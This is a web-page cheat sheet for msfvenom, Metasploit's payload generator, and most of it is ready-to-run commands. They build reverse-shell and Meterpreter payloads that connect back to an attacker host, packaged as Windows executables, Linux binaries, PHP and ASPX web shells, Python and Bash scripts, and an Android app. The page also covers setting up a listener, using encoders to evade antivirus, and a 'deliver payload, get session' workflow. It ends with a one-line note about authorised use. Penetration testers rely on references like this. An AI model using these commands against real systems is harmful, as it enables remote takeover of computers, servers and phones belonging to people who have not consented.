Skip to content

Msfvenom Cheat Sheet

msfvenom is Metasploit’s payload generator and encoder. It is used to create standalone payloads, shellcode, and executables for exploitation and post-exploitation scenarios.

Basic Syntax

msfvenom -p <payload> [options] -f <format> > output

List Payloads

msfvenom -l payloads

Filter: 

msfvenom -l payloads | grep windows

Common Payloads

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_https
  • linux/x64/shell_reverse_tcp
  • php/meterpreter_reverse_tcp
  • python/meterpreter_reverse_tcp
  • android/meterpreter/reverse_tcp

Windows Executable Payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > shell.exe

Linux ELF Payload

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf > shell.elf

Make executable: 

chmod +x shell.elf

Web Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw > shell.php

ASPX

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f aspx > shell.aspx

Script Payloads

Python

msfvenom -p python/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=IP LPORT=4444 -f raw > shell.sh

Android APK

msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o app.apk

Encoders

List encoders: 

msfvenom -l encoders

Use encoder: 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > shell.exe

Bad Characters

msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=4444 -b "\x00\x0a\x0d" -f c

Architecture & Platform

-a x64 --platform windows

Example: 

msfvenom -p windows/x64/shell_reverse_tcp -a x64 --platform windows LHOST=IP LPORT=4444 -f exe > shell.exe

Handler Setup (msfconsole)

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 4444
run

Typical Workflow

msfvenom → generate payload
msfconsole → start handler
Deliver payload
Get session

Common Issues

Payload not connecting
  • Wrong LHOST/LPORT
  • Firewall blocking callback
AV detected
  • Use encoders
  • Use different payload formats
  • msfconsole
  • setoolkit
  • ncat
  • powershell

Danger

Use msfvenom only on systems you own or have explicit permission to test.